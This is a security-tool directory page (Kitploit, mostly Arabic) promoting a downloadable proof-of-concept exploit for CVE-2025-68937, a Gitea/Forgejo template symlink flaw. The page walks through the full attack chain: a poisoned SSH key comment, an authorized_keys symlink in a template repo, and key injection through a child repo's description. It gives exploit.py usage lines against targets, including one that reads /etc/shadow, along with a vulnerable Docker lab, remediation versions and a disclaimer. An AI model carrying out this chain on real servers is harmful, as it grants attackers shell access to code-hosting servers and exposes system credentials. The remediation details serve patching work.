Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-68937 — Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user. | Kitploit
أدوات/GitHubGitHub/scratchappy/cve-2025-68937
Privilege EscalationExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubscratchappy/cve-2025-68937

CVE-2025-68937

Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.

عرض المستودع
منذ 18 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-68937 - تنفيذ أكواد عن بُعد عبر الروابط الرمزية لقوالب Gitea/Forgejo

إثبات مفهوم آلي لـ CVE-2025-68937: تجاوز الدلائل عبر تتبع الروابط الرمزية في معالجة مستودعات القوالب في Gitea وForgejo، مما يؤدي إلى تنفيذ أكواد عن بُعد.

أي مستخدم مُصادَق عليه (بدون الحاجة إلى صلاحيات المسؤول) يمكنه الحصول على شل (shell) كمستخدم خدمة git.

الثغرة

عند إنشاء مستودع جديد من قالب، يقوم Gitea/Forgejo بنسخ ملفات القالب وتوسيع متغيرات مثل ${REPO_DESCRIPTION} في الملفات المدرجة في .gitea/template. هذه العملية تتبع الروابط الرمزية دون تحقق، مما يسمح للمهاجم بالقراءة والكتابة إلى ملفات عشوائية على الخادم.

التفاصيلالقيمة
CVECVE-2025-68937
CVSS 4.09.5 حرجة
CWECWE-61 (UNIX Symbolic Link Following)
المصادقة مطلوبةنعم (أي مستخدم)
صلاحيات المسؤول مطلوبةلا

الإصدارات المتأثرة

البرنامجالإصدارات المتأثرةالإصدار المُصلَح
Gitea>= 1.11.0-rc1, <= 1.24.61.24.7
Forgejo<= 11.0.611.0.7
Forgejo>= 12.0.0, <= 13.0.113.0.2

كيف يعمل

root@kitploit:~
                          Gitea Server
                    +---------------------+
 1. Register SSH    |  authorized_keys:   |
    key with        |  command="gitea     |
    ${REPO_DESC}    |  serv..." ssh-ed... |
    as comment      |  ${REPO_DESCRIPTION}|
                    +---------------------+
                              |
 2. Template repo             |  symlink
    authorized_keys --------->+  follows
    -> /data/git/.ssh/        |
       authorized_keys        |
                              v
 3. Create child    +---------------------+
    repo with       |  authorized_keys:   |
    attacker key    |  command="gitea     |
    in description  |  serv..." ssh-ed... |
                    |  <attacker SSH key> | <-- injected!
                    +---------------------+
                              |
 4. SSH as git      $ ssh -i key git@host
    (unrestricted)  uid=0(git) ...
  1. سجّل مفتاح SSH مسمومًا في Gitea — يحتوي تعليق المفتاح على ${REPO_DESCRIPTION}، وهو متغير قالب يقوم Gitea بتوسيعه
  2. أنشئ مستودع قالب يحتوي على:
    • ملف .gitea/template يسرد authorized_keys لتوسيع المتغيرات
    • رابط رمزي git باسم authorized_keys يشير إلى ملف authorized_keys الحقيقي لمستخدم git
  3. أنشئ مستودعًا فرعيًا من القالب مع وضع مفتاح SSH العام غير المقيّد للمهاجم في حقل الوصف
  4. يتبع توسيع القالب الرابط الرمزي، ويقرأ ملف authorized_keys الحقيقي (الذي يحتوي على مفتاحنا المسجّل مع ${REPO_DESCRIPTION} في التعليق)، ويوسّع المتغير إلى وصف المستودع الفرعي (مفتاح SSH الخاص بنا)، ويكتب النتيجة مرة أخرى عبر الرابط الرمزي
  5. ادخل عبر SSH كمستخدم git باستخدام المفتاح المُحقن (بدون قيد command=)

الاستخدام

root@kitploit:~
pip install requests
root@kitploit:~
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222

# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git

# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"

# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup

الخيارات

بيئة الاختبار

شغّل نسخة ضعيفة:

root@kitploit:~
docker run -d --name gitea-vuln \
  -p 3000:3000 -p 2222:22 \
  -e USER_UID=1000 -e USER_GID=1000 \
  gitea/gitea:1.24.6
  1. افتح http://localhost:3000 وأكمل معالج التثبيت (SQLite يعمل بشكل جيد)
  2. سجّل حساب مستخدم
  3. شغّل:
root@kitploit:~
python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222

المتطلبات

  • Python 3.8+
  • requests
  • وجود git و ssh-keygen في PATH

المعالجة

  • Gitea: قم بالترقية إلى 1.24.7 أو أحدث
  • Forgejo: قم بالترقية إلى 11.0.7 (LTS) أو 13.0.2+

المراجع

  • NVD: CVE-2025-68937
  • GitHub Advisory: GHSA-7mhf-6fhv-c83c
  • تحليل إصلاح Gitea الأمني (PR #36734 & #36746)
  • ملاحظات إصدار Gitea 1.24.7

إخلاء مسؤولية

هذه الأداة مخصصة لاختبار الاختراق المصرح به والأغراض التعليمية فقط. استخدمها فقط ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.

تنزيل الأداة
الخيارالافتراضيالوصف
-u, --urlمطلوبرابط Gitea/Forgejo الأساسي
-U, --userمطلوباسم المستخدم
-P, --passwordمطلوبكلمة المرور
--git-home/data/gitدليل المستخدم git الرئيسي على الهدف
--ssh-hostمن --urlمضيف SSH للاتصال به
--ssh-port22منفذ SSH الخاص بـ Gitea
--timeout30الثواني المنتظرة لاتصال SSH
--commandتفاعليالأمر الذي سيتم تنفيذه بعد الحصول على الشل
--cleanup-إزالة آثار الاستغلال